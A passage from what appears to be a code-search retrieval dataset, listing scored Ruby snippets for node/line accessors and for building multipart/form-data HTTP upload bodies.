"docid": "812f050ab6512b500ee4c4808ac604a3",
"score": "0.55544585",
"text": "def nodes\n @nodes.frozen? ? @nodes : @nodes.dup.freeze\n end",
"title": ""
},
{
"docid": "d6ba96a1c3d598aaf7ce550a70f6a6db",
"score": "0.5554227",
"text": "def nodes()\n self.root.nodes()\n end",
"title": ""
},
{
"docid": "44e6c61f03f44a0eaf2a64dc3ae79e7a",
"score": "0.55496925",
"text": "def nodes()\n return @s1, @s2\n end",
"title": ""
},
{
"docid": "18001c87d9f053afd0a51f9b9e23e14a",
"score": "0.5545359",
"text": "def nodes\n @nodes ||= @dealing_platform.markets.hierarchy(id).nodes\n end",
"title": ""
},
{
"docid": "031e0bc0b0bc44d4ca019853e187a76f",
"score": "0.5540885",
"text": "def node_at(line, column); end",
"title": ""
},
{
"docid": "1eabbe87d3f3329f69b36bc7d73726ea",
"score": "0.55359906",
"text": "def lines\n dimension_matrix.map { |e| line_in(e) }.delete_if { |e| e.nil? }\n end",
"title": ""
},
{
"docid": "cd933275041d5205202d4a9b785c41f0",
"score": "0.55328476",
"text": "def nodes\n\t\t# Query the database\n\t\tnodeQuery = Node.select(:node_id)\n\t\t# Place the query in an array\n\t\tnodeArray = Array.new\n\t\tnodeQuery.each do |node|\n\t\t\tnodeArray.push [node.node_id]\n\t\tend\n\t\treturn nodeArray\n\tend",
"title": ""
},
{
"docid": "4629ae212167e9ac0b6eaa465b638adf",
"score": "0.55184615",
"text": "def nodes\n @conn.nodes\n end",
"title": ""
},
{
"docid": "ac8f0192e7781a0abf922525b728ccb6",
"score": "0.55061096",
"text": "def nodes\n @current\n end",
"title": ""
},
{
"docid": "b581187cf475a7689c255d5a6c115512",
"score": "0.5497611",
"text": "def nodes\n state(metrics: \"nodes\").dig(\"nodes\")\n end",
"title": ""
},
{
"docid": "0dea266d0a97ee0280a75ef1417a459e",
"score": "0.54770964",
"text": "def lines\n @document.lines @line_numbers\n end",
"title": ""
},
{
"docid": "ba83b509ae91e3e4b1ab5e80e323711b",
"score": "0.5477083",
"text": "def lines\n result = Array.new\n @theLines.each { |l| result << String.new(l) }\n return result\n end",
"title": ""
},
{
"docid": "7219dc6afcd8444ce773360cf308fcc8",
"score": "0.5469827",
"text": "def parse_line_tokens(line)\n return if line.nil? || line.empty? || !line.include?(';')\n\n tokens = line.split(';')\n id = tokens[0]\n letter = tokens[1]\n neighbors = tokens[2]\n\n # create mapping id to letter\n @nmap[id] = letter\n\n # if neighbors is empty, we reached a end node\n @ends << id if neighbors.strip.empty?\n\n # add neighbors if neighbors for that id exist\n @nnmap[id] = neighbors.strip.split(',')\n end",
"title": ""
},
{
"docid": "9a55b39a5f17ff29b5f1aa2914793679",
"score": "0.5439731",
"text": "def get_line_types\n @lines.line_types\n end",
"title": ""
},
{
"docid": "7e25f366a2b4360f6ad05985a8317c28",
"score": "0.5437001",
"text": "def nodes(plan)\n if plan['nodes'].is_a?(Regexp)\n @m_finder.match_nodes(plan['nodes'])\n elsif plan['nodes'].is_a?(Array)\n plan['nodes'].collect { |n| @m_finder.machine(n.to_sym) }\n end\n end",
"title": ""
},
{
"docid": "4dc79672d909d8fd120f6ce84dfda0a7",
"score": "0.54206294",
"text": "def reachable_nodes\n recursive_set(@start) { |n| n.out }\n end",
"title": ""
},
{
"docid": "5e2a08575139f9da87c11b0aacd987d4",
"score": "0.5410905",
"text": "def vertex_creation(line)\n x = line.chomp(\"\\n\").split(';')\n id = x[0].to_i\n data = x[1]\n if x[2]\n neighbors = x[2].split(',')\n neighbors = neighbors.map(&:to_i)\n else\n neighbors = []\n end\n [id, data, neighbors]\nend",
"title": ""
},
{
"docid": "6b73b974d8fd0c1faec648f021adb109",
"score": "0.54054785",
"text": "def internal_connections\n stroke(200, 0, 0, 80)\n nodes[0..nodes.size - 1].each_with_index do |pi, i|\n nodes[i + 1..nodes.size - 1].each do |pj|\n line(pi.x, pi.y, pj.x, pj.y)\n end\n end\n end",
"title": ""
},
{
"docid": "7bd87225823eee323c8354eb7f0f02a8",
"score": "0.5397679",
"text": "def attribute_nodes\n @attribute_nodes ||= NodeSetProxy.new(@node.attribute_nodes, self)\n end",
"title": ""
},
{
"docid": "46d5704ea9f9cf69b3f228a14c4fb1ac",
"score": "0.5377896",
"text": "def tokens_in_line(board, line)\n line_tokens = line.collect {|index| board.cells[index.to_i]}\n end",
"title": ""
},
{
"docid": "e72c19ed04de3ea18e781af58a462956",
"score": "0.53747547",
"text": "def to_a\n @nodes\n end",
"title": ""
},
{
"docid": "3318d6e72fc88d440aff4c29ee960ed8",
"score": "0.5371636",
"text": "def ids\n @nodes.map(&:id)\n end",
"title": ""
},
{
"docid": "9fcc458c539d5f363bf580d454f08d3e",
"score": "0.53596085",
"text": "def nodes\n @from | @to\n end",
"title": ""
},
{
"docid": "a98d7dacb09715329d6e18d9bf3c88b4",
"score": "0.53537595",
"text": "def nodes(attrs={})\n if attrs.is_a?(Hash) and attrs.has_key?(:type)\n attrs[:type].constantize.find(session, \"label_node_ids LIKE '%#{id}%'\")\n else\n Ecore::Node.find(session, \"label_node_ids LIKE '%#{id}%'\")\n #.inject(NodeArray.new) do |arr,n|\n # n.session = session\n # arr << n\n #end\n end\n end",
"title": ""
},
{
"docid": "fdd74b5c52e6dc9c24b0008dc089ae89",
"score": "0.5346901",
"text": "def to_nodes(event)\n nodes = []\n event.transitions.each do |transition|\n if transition.multiple_from?\n temp_nodes = transition.from.map{ |from| Jsm::Drawer::Node.new(from: from, to: transition.to, label: event.name) }\n else\n from = transition.from[0] # even only one it is still in array e.g: [:confirmed]\n temp_nodes = [Jsm::Drawer::Node.new(from: from, to: transition.to, label: event.name)]\n end\n nodes += temp_nodes\n end\n nodes\n end",
"title": ""
},
{
"docid": "a7877793d0be3f4f4722e51e45be94a2",
"score": "0.5344831",
"text": "def nodes\n TestLab::Node.all\n end",
"title": ""
},
{
"docid": "b58de6a42fbf46d922610ad354a09efd",
"score": "0.53433055",
"text": "def lines\n @lines[oy...(oy + height)] || []\n end",
"title": ""
},
{
"docid": "913feb1a9a1a3d6ff0def7f2eda3154d",
"score": "0.5335463",
"text": "def nodes(opts = {})\n node_or_ng = self[:node]\n nodes = \n if node_or_ng.is_node_group?()\n node_or_ng.get_node_group_members()\n else\n [node_or_ng]\n end\n if cols = opts[:cols]\n nodes.each { |node| node.update_object!(*cols) }\n end\n nodes\n end",
"title": ""
},
{
"docid": "5ab6816a55e88ed119dea2066dfb392a",
"score": "0.532713",
"text": "def lines\n @lines[oy...(oy + bordered_height)] || []\n end",
"title": ""
},
{
"docid": "ef325b2b208b64ab8658e52564736801",
"score": "0.5314791",
"text": "def line\n @line ||= Line.get(@attrs['Line'])\n end",
"title": ""
},
{
"docid": "71190186fa35d264fff98ccaec154a4a",
"score": "0.53147835",
"text": "def nodes_field\n define_nodes_field\n end",
"title": ""
},
{
"docid": "5a83d150860b4b67cf9c2279b3bdb4d1",
"score": "0.53122073",
"text": "def list_lines\n RailLine.list_lines\n end",
"title": ""
},
{
"docid": "4f7c7c0130482ec48504e046eebb8112",
"score": "0.5301056",
"text": "def autocomplete(line)\n candidate_nodes(*line.split).map(&:name).sort\n end",
"title": ""
},
{
"docid": "943eb64a4e6eabc0c8aee47b1dc042bf",
"score": "0.52977663",
"text": "def lines\n load_data unless @lines\n @lines\n end",
"title": ""
},
{
"docid": "3c1a432f4411124f58c7d2d5f2cc2c3f",
"score": "0.5279563",
"text": "def all_nodes\n [self] + descendants\n end",
"title": ""
},
{
"docid": "3bf7dc159bbbff97fd1aec40edbfcaaa",
"score": "0.5277536",
"text": "def node_ids() ; ext_info[:nodes] ; end",
"title": ""
},
{
"docid": "821c38db754e0adb3f531d80d885699f",
"score": "0.526574",
"text": "def get_lines\n lines = []\n line = \"\"\n until line == \".\"\n line = Readline.readline\n lines << line\n end\n lines.join(\"\\n\")\n end",
"title": ""
},
{
"docid": "778d1bd05be5664dcbd61f35e746b150",
"score": "0.5260545",
"text": "def nodes # :nodoc:\n return @nodes if defined?(@nodes) \n node_ids = (1..Configuration.numbers['total_nodes'])\n @nodes = node_ids.map do |id| \n {\n id: id,\n host: \"node_#{id}_#{Worker::VERSION}\"\n }.to_struct\n end\n end",
"title": ""
},
{
"docid": "aeff3b63e63675233a2aa7b51392d0d5",
"score": "0.5253914",
"text": "def nodes\r\n params = {\r\n method: :get,\r\n url: '/project/nodes',\r\n params: { prjUUID: @uuid }\r\n }\r\n @session.request(**params).perform!['nodes']\r\n end",
"title": ""
},
{
"docid": "bef26da852f5c3e7e37623e0b44ce82c",
"score": "0.5244943",
"text": "def start_nodes(rows)\n rows.reject do |row|\n rows.any? do |other_row|\n other_row.to == row.from\n end\n end\nend",
"title": ""
},
{
"docid": "f4a2a36af02477c472130ab15e7c8bf0",
"score": "0.5229743",
"text": "def get_intersecting_line entity, connnectLine\n entity_x = entity.get_x\n entity_y = entity.get_y\n\n edges = []\n\n #Top edge\n edges << (Line2D::Double.new entity_x, entity_y, entity_x + ENTITY_WIDTH, entity_y)\n #Bottom edge\n edges << (Line2D::Double.new entity_x, entity_y + ENTITY_HEIGHT, entity_x + ENTITY_WIDTH, entity_y + ENTITY_HEIGHT)\n #Left edge\n edges << (Line2D::Double.new entity_x, entity_y, entity_x, entity_y + ENTITY_HEIGHT)\n #Right edge\n edges << (Line2D::Double.new entity_x + ENTITY_WIDTH, entity_y, entity_x + ENTITY_WIDTH, entity_y + ENTITY_HEIGHT)\n\n edges.each do |e|\n return e if connnectLine.intersects_line e\n end\n\n end",
"title": ""
},
{
"docid": "cd0ab29df4b62bdc01c8f7626ca21c40",
"score": "0.52292836",
"text": "def design_nodes\n design_response.map do |response|\n response['node']\n end\n end",
"title": ""
},
{
"docid": "1b94b1617911dac61a376510e1d128c2",
"score": "0.5219684",
"text": "def initialize\n @nodes = []\n end",
"title": ""
},
{
"docid": "52296f367edaf1ada67d55377f1fa315",
"score": "0.5217129",
"text": "def linedefs\n return @linedefs unless @linedefs.nil?\n _pos = @_io.pos\n @_io.seek((offset * 2))\n @linedefs = []\n i = 0\n begin\n _ = @_io.read_s2le\n @linedefs << _\n i += 1\n end until _ == -1\n @_io.seek(_pos)\n @linedefs\n end",
"title": ""
},
{
"docid": "6337ce6337f8eb46ce589cad7932179b",
"score": "0.520754",
"text": "def get_all_lines(page)\n return page.xpath('//tr[@class=\"cmc-table-row\"]')\nend",
"title": ""
},
{
"docid": "eb1cfd128756f89a0afb6ace7676d521",
"score": "0.5195516",
"text": "def neighbours(line, column)\n min_col, max_col, min_line, max_line = bound_check(line, column)\n neighbourhood = []\n\n # Iterate 3x3 block\n (min_line..max_line).each do |l|\n (min_col..max_col).each do |c|\n next if l == line && c == column # Skip itself\n\n @grid[l][c].position(line: l, column: c)\n neighbourhood << @grid[l][c]\n end\n end\n\n neighbourhood\n end",
"title": ""
},
{
"docid": "67c1883c9d0284fe17e95ab5da72aa61",
"score": "0.5191238",
"text": "def all_nodes\n Pathname.glob(node_file(\"*\", false)).map do |file|\n json = JSON.parse(file.read)\n Config::Node.from_json(json)\n end\n end",
"title": ""
},
{
"docid": "9814404c7545596edf7396c5a61f2757",
"score": "0.51712984",
"text": "def find_nodes\n puts '1st pass: find nodes'\n find :nodes\n self\n end",
"title": ""
},
{
"docid": "889d4721bcb775c7ab8c6ad093a520fe",
"score": "0.5165859",
"text": "def print_nodes(path, counter)\n (0..(counter - 1)).each { |i| print path[i].value.to_s + ' ' }\n puts\n end",
"title": ""
},
{
"docid": "70f332e9185fd87851f6f399ddf3d58d",
"score": "0.5155732",
"text": "def element_lines(elements); end",
"title": ""
},
{
"docid": "9d52aa3901c315bf79677f4a782de03d",
"score": "0.51534975",
"text": "def node\n [@x, @y]\n end",
"title": ""
},
{
"docid": "e246845b1829cdcefba7acc65948cda6",
"score": "0.51526594",
"text": "def lines; end",
"title": ""
},
{
"docid": "e246845b1829cdcefba7acc65948cda6",
"score": "0.51526594",
"text": "def lines; end",
"title": ""
},
{
"docid": "b29aca77fd51af2561ae607d661bec4f",
"score": "0.5151777",
"text": "def initialize\n @nodes = []\n end",
"title": ""
},
{
"docid": "31f49b927fb274725fff5375ffc820ea",
"score": "0.51469094",
"text": "def enumerate_nodes\n SortedSet[* @node_attrs.keys]\n end",
"title": ""
},
{
"docid": "31f49b927fb274725fff5375ffc820ea",
"score": "0.51469094",
"text": "def enumerate_nodes\n SortedSet[* @node_attrs.keys]\n end",
"title": ""
},
{
"docid": "74dadb2acb1cad74e2506c2f2fbba840",
"score": "0.51334184",
"text": "def nodes(*args)\n opts, *entities = extract(*args)\n filter = opts[:filter] ||= lambda{|n| true}\n node_decorator = opts[:node_decorator] || NoOpDecorator\n entities.map do |entity|\n node_decorator.decorate(Node.new(entity, node_decorator: node_decorator)).flatten(filter)\n end.flatten\n end",
"title": ""
},
{
"docid": "d4b86a1f62960cbeb6821b57fe0a9645",
"score": "0.5124989",
"text": "def select_nodes(ypath, tree)\n case ypath\n when Hash\n if path = ypath['path'] || ypath['ypath']\n nodes = tree.select(path)\n else\n nodes = tree.select('*') # all nodes\n end\n YES.constraints.each do |c|\n next unless Constraints::NodeConstraint === c\n checklist = c.checklist(spec, tree, nodes)\n selection = checklist.select{ |v| v.valid? }\n nodes.concat(selection.map{ |s| s.node })\n end\n nodes\n else\n tree.select(ypath)\n end\n end",
"title": ""
},
{
"docid": "626484a851ad8fde3b41e69f6aa8a4de",
"score": "0.5120484",
"text": "def read_lines\n lines = Array.new\n line = @file.gets\n tokens = line.scan(/[-+]?\\d*\\.?\\d+/)\n x1 = Integer(tokens[0])\n x2 = Integer(tokens[1])\n \n while not (x1==0 and x2==0)\n l = Line.new(x1,x2)\n lines.push(l)\n line = @file.gets\n tokens = line.scan(/[-+]?\\d*\\.?\\d+/)\n \n x1 = Integer(tokens[0])\n x2 = Integer(tokens[1])\n \n end\n \n return lines\n \n end",
"title": ""
},
{
"docid": "bf5f4a9b39fba082fb231c8805810cfc",
"score": "0.5119868",
"text": "def nx\n @nx\n end",
"title": ""
},
{
"docid": "39bc6227431cd71be3748b2b438c925f",
"score": "0.51110756",
"text": "def names\n @nodes.map(&:name)\n end",
"title": ""
},
{
"docid": "b0bd4b133eb63f73558945c0776fd4e9",
"score": "0.5103447",
"text": "def each_node(&x) #:yields: node\n @pathway.graph.each_key(&x)\n self\n end",
"title": ""
},
{
"docid": "bba6e8f26c6f44b03199b570a059f02f",
"score": "0.50992256",
"text": "def get_nodes(filepaths)\n nodes = []\n filepaths.each do |filepath|\n node = get_node_from_file(filepath)\n if node[\"segments\"] != nil\n nodes << node\n end\n end\n return nodes\n end",
"title": ""
},
{
"docid": "18fb65c4a5062648de22fe6458f6083f",
"score": "0.5098929",
"text": "def nltime_includes\n from = self.to_s.split('::').last.downcase.to_sym\n Graph.predecessors(from)\n end",
"title": ""
},
{
"docid": "56bedeb162cb4c600c8a201775ac24b4",
"score": "0.509466",
"text": "def clients\n NodeWrapper.new @links.select{|e| e.type == :client}.map(&:to)\n end",
"title": ""
},
{
"docid": "aa2ca5393e0b095d7d4e3a349cd343ad",
"score": "0.5094342",
"text": "def line(&block)\n attributes[:lines] << Line.build(&block)\n end",
"title": ""
}
] |
a24ece4d64fb11cc259808328e5ee40e | Constructs the multipart/formdata required to sideload packages | [
{
"docid": "303f9dbe4b78aaeb00391f68dcee3051",
"score": "0.7297862",
"text": "def generate_multipart_form_data(snap_name, action, options, path, content_length)\n snap_options = options.map do |k, v|\n <<~SNAP_OPTION\n Content-Disposition: form-data; name=\"#{k}\"\n\n #{v}\n --#{snap_name}\n SNAP_OPTION\n end\n\n <<~SNAP_S\n Host:\n Content-Type: multipart/form-data; boundary=#{snap_name}\n Content-Length: #{content_length}\n\n --#{snap_name}\n Content-Disposition: form-data; name=\"action\"\n\n #{action}\n --#{snap_name}\n #{snap_options.join(\"\\n\").chomp}\n Content-Disposition: form-data; name=\"snap\"; filename=\"#{path}\"\n\n <#{content_length} bytes of snap file data>\n --#{snap_name}\n SNAP_S\n end",
"title": ""
}
] | [
{
"docid": "24e57f58616ee1ddf1352f49b65a7dbd",
"score": "0.76396644",
"text": "def request_data\n query_params = build_query()\n\n case @enctype.downcase\n when /^multipart\\/form-data/\n boundary = rand_string(20)\n @enctype = \"multipart/form-data; boundary=#{boundary}\"\n\n delimiter = \"--#{boundary}\\r\\n\"\n\n data = ::String.new\n\n query_params.each do |k,v|\n if k\n data << delimiter\n param_to_multipart(k, v, data)\n end\n end\n\n @file_uploads.each do |f|\n data << delimiter\n file_to_multipart(f, data)\n end\n\n data << \"--#{boundary}--\\r\\n\"\n else\n Mechanize::Util.build_query_string(query_params)\n end\n end",
"title": ""
},
{
"docid": "3017bd7dcb94bba8268036c6b9d95c97",
"score": "0.758737",
"text": "def _create_upload_data(opts={})\n boundary = opts['boundary']\n api_key = opts['api_key']\n filename = opts['filename']\n data = opts['data']\n\n # Can't use Rex::MIME::Message, or you WILL be increditably outraged, it messes with your data.\n # See VT report for example: 4212686e701286ab734d8a67b7b7527f279c2dadc27bd744abebecab91b70c82\n data = %Q|--#{boundary}\nContent-Disposition: form-data; name=\"apikey\"\n\n#{api_key}\n--#{boundary}\nContent-Disposition: form-data; name=\"file\"; filename=\"#{filename}\"\nContent-Type: application/octet-stream\n\n#{data}\n--#{boundary}--\n|\n\n data\n end",
"title": ""
},
{
"docid": "3d617bf3aa4105f3f8667129784e71ac",
"score": "0.74235904",
"text": "def decode_as_multipart_form_data( boundary )\n # xxx: warning if invalid?\n require 'tempfile'\n pairs = []\n boundary = \"--\" + boundary\n eol = \"\\015\\012\"\n str = @escaped_query_string.gsub( /(?:\\r?\\n|\\A)#{ Regexp::quote( boundary ) }--#{ eol }.*/m, '' )\n str.split( /(?:\\r?\\n|\\A)#{ Regexp::quote( boundary ) }#{ eol }/m ).each do |part|\n headers = {}\n header, value = part.split( \"#{eol}#{eol}\", 2 )\n next unless header and value\n field_name, field_data = nil, {}\n if header =~ /Content-Disposition: form-data;.*(?:\\sname=\"([^\"]+)\")/m\n field_name = $1\n end\n if header =~ /Content-Disposition: form-data;.*(?:\\sfilename=\"([^\"]+)\")/m\n body = Tempfile.new( \"WebApp\" )\n body.binmode if defined? body.binmode\n body.print value\n body.rewind\n field_data = {'filename' => $1, 'tempfile' => body}\n field_data['type'] = $1 if header =~ /Content-Type: (.+?)(?:#{ eol }|\\Z)/m\n else\n field_data = value.gsub( /#{ eol }\\Z/, '' )\n end\n pairs << [field_name, field_data]\n end\n HTMLFormQuery.new(pairs)\n end",
"title": ""
},
{
"docid": "54a3fe9dcc1bf25ef684a04c9a8a6ca9",
"score": "0.73709446",
"text": "def generate_multipart_form_data(snap_name, action, options, path, content_length)\n snap_options = options.map do |k, v|\n <<~SNAP_OPTION\n Content-Disposition: form-data; name=\"#{k}\"\n\n #{v}\n --#{snap_name}\n SNAP_OPTION\n end\n\n multipart_form_data = <<~SNAP_S\n Host:\n Content-Type: multipart/form-data; boundary=#{snap_name}\n Content-Length: #{content_length}\n\n --#{snap_name}\n Content-Disposition: form-data; name=\"action\"\n\n #{action}\n --#{snap_name}\n #{snap_options.join(\"\\n\").chomp}\n Content-Disposition: form-data; name=\"snap\"; filename=\"#{path}\"\n\n <#{content_length} bytes of snap file data>\n --#{snap_name}\n SNAP_S\n multipart_form_data\n end",
"title": ""
},
{
"docid": "340beb3579956b4a25266deed9f0dc87",
"score": "0.7282945",
"text": "def add_multipart_data(req,params)\n boundary = Time.now.to_i.to_s(16)\n req[\"Content-Type\"] = \"multipart/form-data; boundary=#{boundary}\"\n body = \"\"\n params.each do |key,value|\n esc_key = CGI.escape(key.to_s)\n body << \"--#{boundary}#{CRLF}\"\n if value.respond_to?(:read)\n body << \"Content-Disposition: form-data; name=\\\"#{esc_key}\\\"; filename=\\\"#{File.basename(value.path)}\\\"#{CRLF}\"\n body << \"Content-Type: #{MIME::Types.type_for(value.path)}#{CRLF*2}\"\n body << value.read\n else\n body << \"Content-Disposition: form-data; name=\\\"#{esc_key}\\\"#{CRLF*2}#{value}\"\n end\n body << CRLF\n end\n body << \"--#{boundary}--#{CRLF*2}\"\n req.body = body\n req[\"Content-Length\"] = req.body.size\n end",
"title": ""
},
{
"docid": "c5d0a2fe410b7a01f6339aa2fae68bda",
"score": "0.72756773",
"text": "def add_multipart_data(req,params)\n boundary = Time.now.to_i.to_s(16)\n req[\"Content-Type\"] = \"multipart/form-data; boundary=#{boundary}\"\n body = \"\"\n params.each do |key,value|\n esc_key = CGI.escape(key.to_s)\n body << \"--#{boundary}#{CRLF}\"\n if value.respond_to?(:read)\n body << \"Content-Disposition: form-data; name=\\\"#{esc_key}\\\"; filename=\\\"#{File.basename(value.path)}\\\"#{CRLF}\"\n body << \"Content-Type: #{mime_type(value.path)}#{CRLF*2}\"\n body << value.read\n else\n body << \"Content-Disposition: form-data; name=\\\"#{esc_key}\\\"#{CRLF*2}#{value}\"\n end\n body << CRLF\n end\n body << \"--#{boundary}--#{CRLF*2}\"\n req.body = body\n req[\"Content-Length\"] = req.body.size\n end",
"title": ""
},
{
"docid": "11852d22a9383e32ee9e1fa9f3d84030",
"score": "0.72687984",
"text": "def add_multipart_data(req,params)\n boundary = Time.now.to_i.to_s(16)\n req[\"Content-Type\"] = \"multipart/form-data; boundary=#{boundary}\"\n body = \"\"\n params.each do |key,value|\n esc_key = CGI.escape(key.to_s)\n body << \"--#{boundary}#{CRLF}\"\n if value.respond_to?(:read)\n body << \"Content-Disposition: form-data; name=\\\"#{esc_key}\\\"; filename=\\\"#{File.basename(value.path)}\\\"#{CRLF}\"\n body << \"Content-Type: #{mime_type(value.path)}#{CRLF*2}\"\n body << value.read\n else\n body << \"Content-Disposition: form-data; name=\\\"#{esc_key}\\\"#{CRLF*2}#{value}\"\n end\n body << CRLF\n end\n body << \"--#{boundary}--#{CRLF*2}\"\n req.body = body\n req[\"Content-Length\"] = req.body.size\nend",
"title": ""
},
{
"docid": "4f011abae20ec700c2a19a35f7b5515a",
"score": "0.71967506",
"text": "def make_multipart(params)\n boundary = (0...8).map { rand(255).to_s 16 }.join '_'\n data = expand_params(params).map do |key, value|\n [ \"--#{boundary}\",\n \"Content-Disposition: form-data; name=\\\"#{key}\\\"\",\n nil,\n value]\n end\n\n data << \"--#{boundary}--\"\n return [boundary, data.join(\"\\r\\n\")]\n end",
"title": ""
},
{
"docid": "d242bd5a7ae366a28f928d955b12f02c",
"score": "0.7191739",
"text": "def http_multipart_data(params) #:nodoc:\n crlf = \"\\r\\n\"\n body = \"\"\n headers = {}\n \n boundary = \"x\" + Time.now.to_i.to_s(16)\n \n headers[\"Content-Type\"] = \"multipart/form-data; boundary=#{boundary}\"\n headers[\"User-Agent\"] = \"RTunesU/#{RTunesU::VERSION}\"\n params.each do |key,value|\n esc_key = key.to_s\n body << \"--#{boundary}#{crlf}\"\n \n if value.respond_to?(:read)\n mime_type = MIME::Types.type_for(value.path)[0] || MIME::Types[\"application/octet-stream\"][0]\n body << \"Content-Disposition: form-data; name=\\\"#{esc_key}\\\"; filename=\\\"#{::File.basename(value.path)}\\\"#{crlf}\"\n body << \"Content-Type: #{mime_type.simplified}#{crlf*2}\"\n body << value.read\n value.rewind\n else\n body << \"Content-Disposition: form-data; name=\\\"#{esc_key}\\\"#{crlf*2}#{value}\"\n end\n end\n \n body << \"#{crlf}--#{boundary}--#{crlf*2}\"\n headers[\"Content-Length\"] = body.size.to_s\n \n return [ body, headers ]\n end",
"title": ""
},
{
"docid": "f8d59161be27cc07bee53e75f83198c0",
"score": "0.71592814",
"text": "def build_multipart_content(params)\n parts, boundary = [], \"#{rand(1000000)}-we-are-all-doomed-#{rand(1000000)}\"\n\n params.each do |name, value|\n data = []\n if value.is_a?(Pathname) then\n data << \"Content-Disposition: form-data; name=\\\"#{urlencode(name.to_s)}\\\"; filename=\\\"#{value.basename}\\\"\"\n data << \"Content-Type: #{value.type}\"\n data << \"Content-Length: #{value.size}\"\n data << \"Content-Transfer-Encoding: binary\"\n data << \"\"\n data << value.binread\n else\n data << \"Content-Disposition: form-data; name=\\\"#{urlencode(name.to_s)}\\\"\"\n data << \"\"\n data << value\n end\n\n parts << data.join(\"\\r\\n\") + \"\\r\\n\"\n end\n\n [ \"--#{boundary}\\r\\n\" + parts.join(\"--#{boundary}\\r\\n\") + \"--#{boundary}--\", {\n \"Content-Type\" => \"multipart/form-data; boundary=#{boundary}\"\n }]\nend",
"title": ""
},
{
"docid": "442d2f566909cabc5c4c076009ebeecc",
"score": "0.6995992",
"text": "def content_type\n \"multipart/form-data; boundary=#{@boundary}\"\n end",
"title": ""
},
{
"docid": "67aa28ed5647d7bdc0f2f3c7db457f3a",
"score": "0.6963473",
"text": "def mime_type\n \"multipart/form-data\"\n end",
"title": ""
},
{
"docid": "4497129c65da1dfc88f4d79f43798a1a",
"score": "0.6866918",
"text": "def to_multipart_form_data\n metadata = {\n awsAuth: {\n accessKey: aws_access_key,\n secretKey: aws_secret_key\n },\n s3Config: {\n region: s3_region,\n bucket: s3_bucket,\n permissions: s3_acl\n }\n }\n\n if archive_root\n metadata[:archiveConfig] = {root: archive_root}\n end\n\n if s3_root\n metadata[:s3Config][:root] = s3_root\n end\n\n metadata\n end",
"title": ""
},
{
"docid": "9cf2c09e558dab2129f2b5f3e615d7c9",
"score": "0.68576694",
"text": "def build_file_part(buffer, parameter_name, uploaded_file)\n buffer <<\n START_BOUNDARY <<\n \"content-disposition: form-data; name=\\\"\" <<\n parameter_name.to_s.b <<\n \"\\\"; filename=\\\"\" <<\n escape_path(uploaded_file.original_filename).b <<\n \"\\\"\\r\\ncontent-type: \" <<\n uploaded_file.content_type.to_s.b <<\n \"\\r\\ncontent-length: \" <<\n uploaded_file.size.to_s.b <<\n \"\\r\\n\\r\\n\"\n\n # Handle old versions of Capybara::RackTest::Form::NilUploadedFile\n if uploaded_file.respond_to?(:set_encoding)\n uploaded_file.set_encoding(Encoding::BINARY)\n uploaded_file.append_to(buffer)\n end\n\n buffer << \"\\r\\n\"\n end",
"title": ""
},
{
"docid": "64a69b2b045fe36732cfa09d95f9ebc7",
"score": "0.6824346",
"text": "def form_data(attributes, boundary)\n message = \"\\r\\n\\r\\n\"\n attributes.each do |key, val|\n message += \"--#{boundary}\\r\\n\\r\\n\"\n message += \"Content-Disposition: form-data; name=\\\"project[#{key}]\\\"\\r\\n\\r\\n\"\n message += \"#{val}\\r\\n\"\n end\n message += \"--#{boundary}--\\r\\n\\r\\n\"\n message\nend",
"title": ""
},
{
"docid": "498cce2fa1456993ac0784c4e3c23177",
"score": "0.68139833",
"text": "def content_type\n \"multipart/form-data;\"\n end",
"title": ""
},
{
"docid": "4eefe1c62e27df7a8c8b68784267fb44",
"score": "0.6797729",
"text": "def compose_multipart_post_body(boundary, form_fields, file_fields)\n body = StringIO.new('r+b')\n form_fields.each do |k,v|\n body.write \"--#{boundary}\\r\\n\"\n body.write \"content-disposition: form-data; name=\\\"#{k}\\\"\\r\\n\\r\\n\"\n body.write \"#{v}\\r\\n\"\n end\n file_fields.each do |name, path_or_io|\n if path_or_io.respond_to? :read # IO-ish object, comes opened\n close_input = false\n input = path_or_io\n if path_or_io.respond_to? :path\n filepath = path_or_io.path\n else\n filename = 'src.tar.gz'\n end\n else # it's a filepath\n close_input = true\n input = File.open(path_or_io, 'rb')\n filepath = path_or_io\n end\n filename ||= File.basename(filepath)\n body.write \"--#{boundary}\\r\\n\"\n body.write \"content-disposition: form-data; name=\\\"#{name}\\\"; filename=\\\"#{filename}\\\"\\r\\n\"\n body.write \"content-type: application/x-gzip\\r\\n\"\n body.write \"content-transfer-Encoding: binary\\r\\n\\r\\n\"\n body.write(input.read)\n input.close if close_input\n body.write \"\\r\\n\"\n end\n body.write \"--#{boundary}--\\r\\n\"\n body.flush\n body.rewind\n body\n end",
"title": ""
},
{
"docid": "ee4ad239fbecbc43766442906d35cb12",
"score": "0.6764474",
"text": "def prepare_post(params) #:nodoc:\n content = \"\"\n params.each do |key, value|\n content += BOUNDARY_MARKER + \"\\r\\n\"\n if key.to_s =~ /_file$/\n content += \"Content-Disposition: file; name=\\\"#{CGI::escape(key.to_s)}\\\"; filename=\\\"#{value}\\\"\\r\\b\"\n content += \"Content-Type: #{MIME::Types.type_for(value.to_s)}\\r\\n\"\n content += \"Content-Transfer-Encoding: binary\\r\\n\\r\\n\"\n content += open(value) { |f| f.read } + \"\\r\\n\"\n else\n content += \"Content-Disposition: form-data; name=\\\"#{CGI::escape(key.to_s)}\\\";\\r\\n\\r\\n#{value}\\r\\n\"\n end\n end\n content += BOUNDARY_END_MARKER\n return content\n end",
"title": ""
},
{
"docid": "5ba4670d513d135db10edd561f08c407",
"score": "0.6761438",
"text": "def parse_form_data(io, boundary); end",
"title": ""
},
{
"docid": "5ba4670d513d135db10edd561f08c407",
"score": "0.6761438",
"text": "def parse_form_data(io, boundary); end",
"title": ""
},
{
"docid": "ee0205e34b515da29c07fd4fa5954613",
"score": "0.670428",
"text": "def force_multipart; end",
"title": ""
},
{
"docid": "27dce2240d039437068cdc5f90e469d7",
"score": "0.6697016",
"text": "def build_file_part(buffer, parameter_name, uploaded_file); end",
"title": ""
},
{
"docid": "d9c3a47899f22f2764b27cb8b5054864",
"score": "0.66674864",
"text": "def text_to_multipart(key,value)\n return \"Content-Disposition: form-data; name=\\\"#{URI::escape(key)}\\\"\\r\\n\" + \n \"\\r\\n\" + \n \"#{value}\\r\\n\"\nend",
"title": ""
},
{
"docid": "dbc14e5c716ed5be891001125b0252aa",
"score": "0.66340065",
"text": "def make_multipart(params) # :nodoc:\n set_hash params\n\n super params\n end",
"title": ""
},
{
"docid": "8b39aee3ee4c046764021c51e8ac6e17",
"score": "0.66280675",
